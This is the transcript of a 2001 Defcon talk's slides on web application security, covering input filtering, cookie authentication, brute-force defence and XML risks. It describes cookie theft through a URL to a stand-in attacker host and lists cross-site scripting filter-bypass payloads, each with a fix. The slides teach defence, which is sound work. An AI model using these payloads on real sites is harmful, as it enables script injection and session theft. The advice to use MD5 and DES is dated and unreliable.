1. Defcon 9 Web Application Security “In theory & practice” Presenters: Jeremiah Grossman & Lex Arquette Copyright 2001 WhiteHat Security All Rights Reserved

2. What is Web Application Security? Web Applications exist in many forms. Some search, some count, others even transfer money within your bank accounts. Web Applications are employed to carry out many mission-critical tasks and if anything on the web is certain, our reliance upon web applications will continue to grow. Simply, the securing of web applications.

3. Why is web application security important? Before software functionality was capable of being delivered via the web, software developers security concerns were relatively given: that their user-base was limited to internal or wan networks. All this has now changed. Web developers now create software that runs upon web servers accessed by anyone, anywhere. The scope and magnitude of their software delivery has increased exponentially and in so doing, security issues have also risen. - Browser Hi-Jacking - Cookie Theft - Server & Client Compromise - Denial of Service - Abuse - User Privacy Invasion

4. Stealing Cookies “How the Cookie Crumbles”. Cookies are restricted to domains (.acme.com) Uncontrolled data on a restricted domain can access the cookie data. JavaScript Expression: “document.cookie” window.open document.img.src Hidden Form Submit www.attacker.com/ cgi -bin/cookie_thief.pl?COOKIEDATACC ookie data is passed to a CGI through a GET request to a off-domain host. WhiteHat Security http://www. whitehatsec .com 2001(c)WhiteHat Security

5. Secure Web Programming Practices - DO NOT TRUST CLIENT-SIDE DATA. - Hidden HTML Form elements are not hidden. - Password form elements still transfer in clear text when not using SSL. - Use solid and trusted cryptographic algorithms. (Do not use your own homemade encryption or your brilliant evil genius friend's double rot13 ciphers no matter how secure you think it is.) Stick to the algorithms that have been around a while. (DES, Triple-DES, Blowfish, MD5, SHA1, etc.) - Avoid authentication mechanisms using technologies such as JavaScript or ActiveX. - Re-Authenticate before issuing new passwords or performing critical tasks. - Do not host uncontrolled data on a protected domain. - Sanity Check & Qualify all incoming data. Another excellent resource is The World Wide Web Security FAQ located at: http://www.w3.org/Security/ Faq /www-security- faq .html WhiteHat Security http://www. whitehatsec .com 2001(c)WhiteHat Security

6. Client-Side Scripting Languages DHTML (HTML, XHTML, HTML x.0) JavaScript (1.x) Java (Applets) VBScript Flash ActiveX XML/XSL CSS

7. Accessing the DOM & Outside the DOM Document Object Model (DOM) Client-Side languages possess an enormous amount of power to access and manipulate the DOM within a browser. Complex & diverse interconnections create an increased the level of access within the DOM. Increased level of access to read & modify DOM data ranging anything from background colors, to a file on your systems, and beyond to executing systems calls.

8. Input Data Validation & Filtering Most web applications take in some amount or some type of user input to process a task, then direct the results back to the client. This user input is the source of many security issues. Again, NEVER TRUST CLIENT-SIDE DATA. Escape, validate, parse, filter and sanity check all the data. With client-side data you can never be to paranoid. Common input validation methods & mistakes...

9. Sanity Checking Sanity check all input for what information you are expecting to receive. If an input is only supposed be received as YES or NO, then drop any other responses. If an input is supposed to be numeric within certain constraints, check for these restrictions and drop the inputs that don't meet these requirements. The same goes for filenames and paths. Don't parse and especially don't use what you don't know.

10. Escape Special Characters Escape all input special characters. If special characters in strings are not allowed as input, strip the characters, or at the very least escape them. Mishandling special characters is a main source of system compromise via web applications. Special characters can cause illegal systems calls, file globbing, directory traversal, etc. Null characters should all be removed. * VERY IMPORTANT *

11. HTML Character Filtering If you web application has no need for HTML, substitute the following characters before they are echoed back to the screen. > => &gt; < => &lt; &quot; => &quot; & => &amp;

12. Other Character Sequences Further data input to be wary of: ../ (Directory Transversal) (*, ?, +) (file globbing characters) &quot;;&quot; (Command Appending) &quot;>&quot; &quot;<&quot; &quot;|&quot; (Data Piping & Re-Directs) &quot; and ‘ (Input String & Command Manipulation)

13. Output Filtering When, for example, querying data from a database destined for a user, it is a good idea to filter and replace HTML characters that may cause security problems as described above in HTML Character Filtering.

14. Further CGI Input information RFP2K01: &quot;How I Hacked PacketStorm&quot; (wwwthreads advisory) http://www. wiretrip .net/ rfp /p/doc .asp?id=42&iface=2 Phrack 55: Perl CGI problems http://www.wiretrip.net/rfp/p/doc.asp?id=6&iface=2 David A. Wheeler http:// dwheeler .com/secure-programs/Secure-Programs-HOWTO/input.html

15. HTML Allow Lists HTML is dangerous! Any web application allowing HTML is at risk. Even when proper precautions are taken, this is not something you can get around. As in all security access control, &quot;ALLOW|PERMIT&quot; lists are the safest way to go. If you must allow HTML from users into your environment, such as WebMail, Message Boards, Chat, then stick to these guidelines: - Know which tags you want to allow. Keep them strict and limited. - Of your HTML allow list, understand and limit what HTML Tag attributes you want to allow. - Know what tags and attributes are known to be harmful.

16. Dangerous HTML <APPLET> <BASE> <BODY> <EMBED> <FRAME> <FRAMESET> <HTML> <IFRAME> <IMG> <LAYER> <META> <OBJECT> <P> <SCRIPT> <STYLE> ATTRIBUTE DANGER LIST (Any HTML Tag that has these attributes) STYLE SRC HREF TYPE

17. User Authentication Many web applications such as Bulletin Boards, WebMail, Chat, On-Line Banking, Auctions and others have the need to validate their users.

18. Passwords Passwords are your systems' and your users' weakest link. -NEVER store passwords in plain text. -Aging -Password Restrictions General Guidelines: Password 6 letters in length, does not match username or partial username, not a common easy password (get a list), Contains 1 capital letter. Password 6 letters in length, cannot match username or part, cannot be a common easy password on a list, MUST contain 1 capital and one special character. Let your paranoia be your guide.

19. Passwords: What Not To Do - Place a maximum password length restriction. - Allow passwords to be changed into the original password. - Echo the new password over a non-SSL connection. - Make password restrictions too high.

20. Brute Force & Reverse Brute Force When brute forcing a web account, there are 2 main attack types. - Brute Force One username against many passwords. - Reverse Brute Force One password against many usernames. Each attack can be very effective and both must be defended against.

21. Defending Web Apps Against Brute Force Set an acceptable threshold on the amount of failed attempts a single account can receive before that offender is blocked (by IP) and the account itself is locked. Set an acceptable threshold on the amount of failed attempts a single IP Address can issue. Then block the offending IP for a specified amount of time.

22. DoS attacks against Anti-Brute Force As a result of Account Blocking, if an attacker wanted to prevent a legitimate user from logging in, the attacker would do so by tripping the brute force threshold on an account, causing the account to lock. A result from IP Blocking from failed attempts, the risk of blocking out HTTP proxied users such as AOL is apparent. Possible Solutions: When blocking an account, log the offending IP with the account block. If the legitimate user sign's on to the account with a differing IP than the offending logged IP, they would be allowed to proceed with a limited amount of possible failed login attempts. This prevents the account from being DoS'd, yet protects the account from brute force attempts. Use IP Blocking with care. Know your users and test.

23. Cookies Authentication In many circumstances, Cookies are used to identify and authenticate a user to a web application. There are many ways to implement this authentication depending what the needs consist of. There are however, some very important security precautions & considerations that must be met when implementing Cookie based authentication.

24. Cookies Authentication Guidelines -Use SSL for username/password authentication. -DO NOT STORE A PLAIN TEXT OR WEAKLY ENCRYPTED PASSWORD IN A COOKIE. Cookies are going to get stolen! If a Cookie is compromised, 2 things should NOT happen: a. The Cookie cannot be re-used or re-used easily by another person. b. The password or other confidential information should not be able to be extracted from the Cookie. - Cookie Timeout Cookie authentication credentials should NOT be valid for an over extended length of time.

25. Increased Cookie Security 1) Tie cookie authentication credentials to an IP address. Business Intranet: -Use complete 32-bit IP address. Entire Web: -Use a portion of the IP address. (16-bits of a 32-bit IP) 2) Tie cookie authentication credentials to HTTP Client Headers. As an experimental security practice, adding salt to your cookie authentication by hashing in some client sent HTTP headers. -User-Agent -Accept-Language Any header that stays constant with a browser such as Netscape or Internet Explorer. This will further prevent re-use of authentication cookies after they have been compromised.

26. Further Authentication Methods An excellent resource for example on real world Cookie authentication practices: Do's and Don'ts of Client Authentication on the Web by Kevin Fu, Emil Sit, Kendra Smith, and Nick Feamster. http://cookies. lcs . mit . edu /pubs/ webauth .html WhiteHat Security http://www. whitehatsec .com 2001(c)WhiteHat Security

27. Session Tickets/Passwording In many situations it is important that the data being sent from a web page to a web application has not been tampered with or has not been sent fraudulently on behalf of a user. Some actions performed by web application can have severe consequences if not validated properly.

28. Re-Password Authentication When performing a particularly critical action: -Use password re-confirmation before action is carried out. -YES or NO button if the action requested is what was intended. This prevents malicious scripts from quickly sending a CGI request and have an entire database cleared of it contents.

29. HTTP Referer Checking HTTP Referer Header checks may also provide some good safe guards against malicious script attacks. NOT Recommended: - Not to mention Referer's can be forged (DO NOT TRUST CLIENT-SIDE DATA). - Proxy services may strip out referers before sending HTTP requests to the destination. - If you know your users and their settings, HTTP Refers can be of added protection. As always, test, test, test.

30. GET vs POST If a web applications expected input is supposed to be received by a POST request, then allow only POST. This will help prevent many quick malicious client-side script attacks from succeeding.

31. Off Domain User Data Hosting When storing client side data such as web pages, text strings, images and other data used by your users, many cross-scripting issues are apparent. To protect against this danger, consider hosting your users data under another domain. For instance, your authentication cookies are issued from acme.com, then host your user data from acme.net. This will help prevent cookies landing in unauthorized hands. Do not host uncontrolled data on a protected domain.

32. Filter Bypassing &quot;JavaScript is a Cockroach&quot; There are all kinds of input filters web applications implement to sanitize data. This section will demonstrate many known ways input filter's can be bypassed to perform malicious functions such as, cross-scripting, browser-hijacking, cookie theft, and others. Client-Side scripting attacks require the execution of either, JavaScript, Java, VBScript, ActiveX, Flash and some others. We will be assuming that these web applications accept HTML, at least in a limited sense. Allowing users to input HTML is a slippery slope.

33. Testing the filters - Submit all the raw HTML tags you can find, and then view the output results. - Combine HTML with tag attributes, such as SRC, STYLE, HREF and OnXXX (JavaScript Event Handler). This will show what HTML is allowed, what the changes were, and possible what dangerous HTML can be exploited.

34. SCRIPT TAG Description: The script tag is the simplest form of inputting JavaScript Exploit: <SCRIPT>alert('JavaScript Executed');</SCRIPT> Solution: replace all &quot;script&quot; tags.

35. SRCing JavaScript Protocol Description: The JavaScript protocol will execute the expression entered after the colon. Netscape Tested. Exploit: <IMG SRC=&quot;javascript:alert('JavaScript Executed');&quot;> Solution: Replace &quot;javascript&quot; strings in all SRC & HREF attributes in HTML tags with another string. Exp: <IMG SRC=&quot;java_script:alert('JavaScript Executed');&quot;> will render this script useless. Further Information: Any HTML tag with a SRC attribute will execute this script on page load or on link activation. As a further protocol pattern matching, keywords &quot;livescript&quot; and &quot;mocha&quot; must be also replaced for the hold the same possibilities. *** netscape code names ***

36. SRCing JavaScript Protocol w/ Line Feeds Description: As filters search for the (JavaScript/LiveScript/Mocha) strings to filter, placing a single line break in the string will cause the string to bypass the filter, but still execute client-side. Exploit: <IMG SRC=&quot;javasc ript:alert('JavaScript Executed');&quot;> Solution: Filter white space before the keyword strings. Further Information: Filter for the multiple whitespace occurrences. Tabs, Newlines, Carriage Return, spaces, etc

37. SRCing JavaScript Protocol w/ HTML Entities Description: As another derivative of the previous, Decimal HTML entities within these strings can cause filter bypass. Exploit: <IMG SRC=&quot;javasc&#09;ript:alert('JavaScript Executed');&quot;> Replacement of entities 0 - 1 - 2 - 3 will also succeed. Hex instead of Decimal HTML entities will also bypass input filters and execute. <IMG SRC=&quot;javasc&#X0A;ript:alert('JavaScript Executed');&quot;> As well as placing multiple ZERO's in front. <IMG SRC=javasc&#000010;ript:alert('JavaScript Executed');> Solution: Filter these entities within the string then do your further pattern matching

38. AND CURLY Description: Obscure Netscape JavaScript execution line. Exact syntax is needed to execute. Exploit: <IMG SRC=&quot;&{alert('JavaScript Executed')};&quot;> Solution: <IMG SRC=&quot;XXalert('JavaScript Executed')};&quot;> or something similar will nullify the problem.

39. Style Tag Conversion Description: Turn a style tag into a JavaScript expression. Exploit: <style TYPE=&quot;text/javascript&quot;>JS EXPRESSION</style> Solution: Replace the &quot;javascript&quot; string with &quot;java_script&quot; and all should be fine. Exploit: Import dangerous CSS. <STYLE type=text/css> @import url(http://server/very_bad.css); </STYLE> Solution: Filter and replace the &quot;@import“ Exploit: Import a JavaScript Expression through a style tag. <style TYPE=&quot;text/css&quot;> @import url(javascript:alert('JavaScript Executed')); IE HOLE </style> Solution: Again, filter and replace the &quot;@import&quot; and the &quot;javascript:&quot; just to be safe.

40. Style Tag Attribute Conversion Description: Using the style attribute to evaluate a JavaScript expression. Exploit: <P STYLE=&quot;left:expression(eval('alert(apos;JavaScript Executedapos;);window.close()'))&quot; > Solution: STYLE attribute is a &quot;no-no&quot; unless precaution are taken. Filter and replace &quot;left:&quot;, &quot;expression&quot; and &quot;eval&quot;.

41. Strip w/o Replace Description: The stripping not replacing of keywords from a string may be used to get around certain CGI filters. For instance, lets say from an earlier test you know that all <BASE> tags are stripped and not replaced. In this case, the following may be possible when it runs through the filters. Exploit: <IMG SRC=&quot;java<BASE>script:alert('JavaScript Executed');&quot;> which converts to <IMG SRC=&quot;javascript:alert('JavaScript Executed');&quot;> Solution: Replace all stripped keywords with at least a character or a few characters. All except for NULLs of course which should be ripped out without prejudice.

42. Alternate Caps Description: The use of alternating caps within a line may cause the executable code to pass through due to case sensitivity within pattern matches. ** Use with all above filter-bypass methods ** Solution: Make sure all pattern match filter are case-insensitive.

43. There's still more... In addition to all the HTML/JavaScript Cross-Scripting Exploits... XML and SOAP are going to increase these issues. Allowing HTML is a dangerous game. - Create a safe HTML Allow lists. - Compare Allow list against known dangerous HTML tags and attributes. Then maybe you are safe.

44. Error Handling Common cause of cross-scripting and Cookie theft exploits: - Echoing user input from request errors exp.This includes 404 HTTP Responses. If you must echo error data, make sure to filter the data before being received by the user. Intuitive application error messages are very useful when debugging code, however, these messages can also lead to system enumeration or compromise due to their specifics. Do not tell a user that they have a valid username, but their password wrong when logging in. Tell them either one may be wrong.

45. Logging Out When a user initiates a session using Cookie as authentication or some other means, it is considered a good security practice to provide the availability of logout functions before timeout occurs later. These logout functions should serve to invalidate a user's session authentication information by modifying or erasing a session cookie in the event that users may have their cookies stolen and/or use a shared workstation terminal.

46. The future of web application security

48. <XML> Allows applications to talk with other applications by providing a universal data format, which allows data to be easily adapted or transformed. XML is a set of guidelines and conventions for designing mark-up languages to describe data.

50. recipes.xml

54. XML Security Issues Instead of comments, hacker adds XML tags, which get directly injected to a private users “recipes.xml” file. When a private user views their recipes, the XML tags get processed.

56. XML Security Issues XML specification allows the creation of tags that execute applications. For example: An application that could tell me weather a fruit or vegetable was in season or not. Embed an XML processing instruction to execute this application and show me weather my recipe ingredients were in season or not when I viewed my recipe book. Depending on what the process was running as, a hacker could embed a processing instruction tag to execute applications or their choice. Hack that monkey:

58. DTD Implementation Document Type Definitions describe the structure and semantics of an XML markup language. By using a DTD you can have an XML application compare a given XML document to a DTD. If an illegal tag is recognized, the XML processor will error the application.

60. Web Services Web services allow applications to communicate regardless of operating system or programming language via the web. Web Services are XML based. WhiteHat Security http://www. whitehatsec .com 2001(c)WhiteHat Security

61. The Life of an HTML document + .HTML Web Browser Document Application

62. The Life of an XML document + .XML Document Applications

63. Thank You